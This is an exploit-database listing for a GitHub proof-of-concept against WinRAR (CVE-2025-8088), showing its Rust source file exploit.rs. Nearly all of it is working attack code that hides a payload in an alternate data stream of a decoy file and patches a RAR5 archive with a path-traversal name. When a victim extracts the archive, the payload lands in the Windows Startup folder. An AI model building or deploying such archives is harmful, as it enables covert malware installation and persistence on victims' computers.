Exploit database

GH-3efadc07aa3bc7282987994da13351b2

kitsuneshade/winrar-exploit-tool---rust-edition

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exploit.rs

Suggested starting fileRust · 6,339 bytes
use std::path::{Path, PathBuf};
use std::fs;
use crate::error::ExploitError;
use crate::ads::AdsManager;
use crate::rar::Rar5Manipulator;
use crate::diagnostics::SystemDiagnostics;

pub struct WinRarExploit {
    winrar_path: Option<PathBuf>,
}

impl WinRarExploit {
    pub fn new() -> Self {
        let winrar_path = SystemDiagnostics::find_winrar().ok();
        Self { winrar_path }
    }

    pub fn create_malicious_archive(
        &self,
        payload_path: &str,
        output_path: &str,
        decoy_paths: &[String],
        drop_dir: Option<&str>,
    ) -> Result<bool, ExploitError> {
        println!("[+] Starting exploit creation...");
        println!("[+] Payload: {}", payload_path);
        println!("[+] Output: {}", output_path);
        if !decoy_paths.is_empty() {
            println!("[+] Decoy files: {}", decoy_paths.len());
            for (i, decoy) in decoy_paths.iter().enumerate() {
                println!("  [{}] {}", i + 1, decoy);
            }
        }

        // Validate inputs
        if !Path::new(payload_path).exists() {
            return Err(ExploitError::PayloadNotFound(payload_path.to_string()));
        }

        let winrar_path = self.winrar_path.as_ref()
            .ok_or(ExploitError::WinRarNotFound)?;

        // Determine target directory
        let target_dir = if let Some(dir) = drop_dir {
            PathBuf::from(dir)
        } else {
            // Use current user's startup directory
            dirs::data_dir()
                .map(|dir| dir.join(r"Microsoft\Windows\Start Menu\Programs\Startup"))
                .unwrap_or_else(|| PathBuf::from(r"C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"))
        };

        // Validate target directory
        if !target_dir.exists() {
            fs::create_dir_all(&target_dir)?;
        }

        println!("[+] Target directory: {}", target_dir.display());

        // Prepare decoy files
        let decoy_files = if !decoy_paths.is_empty() {
            let mut files = Vec::new();
            for decoy_path in decoy_paths {
                let path = PathBuf::from(decoy_path);
                if !path.exists() {
                    return Err(ExploitError::DecoyNotFound(decoy_path.clone()));
                }
                files.push(path);
            }
            files
        } else {
            // Create default decoy file
            let temp_dir = std::env::temp_dir();
            let decoy_file = temp_dir.join("decoy.txt");
            fs::write(&decoy_file, "PoC\n")?;
            vec![decoy_file]
        };

        println!("[+] Using {} decoy file(s)", decoy_files.len());
        for (i, file) in decoy_files.iter().enumerate() {
            println!("  [{}] {}", i + 1, file.display());
        }

        // Use the first decoy file for ADS operations
        let primary_decoy = &decoy_files[0];

        // Test ADS write access
        let ads_manager = AdsManager;
        ads_manager.test_write_access(primary_decoy)?;
        println!("[+] ADS write access confirmed");

        // Build traversal path
        let payload_name = Path::new(payload_path).file_name()
            .and_then(|n| n.to_str())
            .unwrap_or("payload.bin");

        let traversal_path = Self::build_traversal_path(&target_dir, payload_name)?;
        println!("[+] Injected stream name will be: {}", traversal_path);

        // Calculate placeholder length
        let placeholder_len = std::cmp::max(traversal_path.len(), 128);

        // Attach payload to ADS
        let placeholder = AdsManager::attach_payload(payload_path, primary_decoy, placeholder_len)?;

        // Create base RAR with all decoy files
        let base_rar = PathBuf::from(output_path).with_extension("base.rar");
        let decoy_refs: Vec<&PathBuf> = decoy_files.iter().collect();
        Rar5Manipulator::create_base_rar_with_multiple(winrar_path, &decoy_refs, &base_rar)?;

        // Patch RAR archive
        Rar5Manipulator::patch_archive(&base_rar, output_path, &placeholder, &traversal_path)?;

        // Clean up
        if base_rar.exists() {
            let _ = fs::remove_file(&base_rar);
            println!("[+] Cleaned up temporary file: {}", base_rar.display());
        }

        // Validate output
        let output_path_buf = PathBuf::from(output_path);
        if output_path_buf.exists() {
            let size = output_path_buf.metadata()?.len();
            println!("[+] Successfully created exploit archive: {} ({} bytes)", output_path, size);
            println!("[V] Done.");
            println!("Payload will be dropped to: {}\\{}", target_dir.display(), payload_name);
            Ok(true)
        } else {
            Err(ExploitError::Generic("Failed to create output archive".to_string()))
        }
    }

    fn build_traversal_path(target_dir: &Path, payload_name: &str) -> Result<String, ExploitError> {
        let max_up = 16;
        if max_up < 8 {
            return Err(ExploitError::PathTraversalError("--max_up must be >= 8".to_string()));
        }

        // Convert path to Windows format
        let target_str = target_dir.to_string_lossy().replace("/", "\\");

        // Strip drive letter if present
        let rel_path = if target_str.len() >= 2 && target_str.chars().nth(1) == Some(':') {
            &target_str[2..]
        } else {
            &target_str
        };

        // Remove leading backslashes
        let rel_path = rel_path.trim_start_matches('\\');

        // Build traversal path
        let traversal = format!("..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\{}\\{}", rel_path, payload_name);

        // Validate the path doesn't contain absolute components
        if traversal.contains(":\\") || traversal.starts_with('\\') {
            return Err(ExploitError::PathTraversalError("Generated path contains absolute components".to_string()));
        }

        Ok(traversal)
    }



    pub fn get_available_tools(&self) -> Vec<String> {
        let mut tools = Vec::new();
        if self.winrar_path.is_some() {
            tools.push("WinRAR CLI".to_string());
        }
        tools
    }
}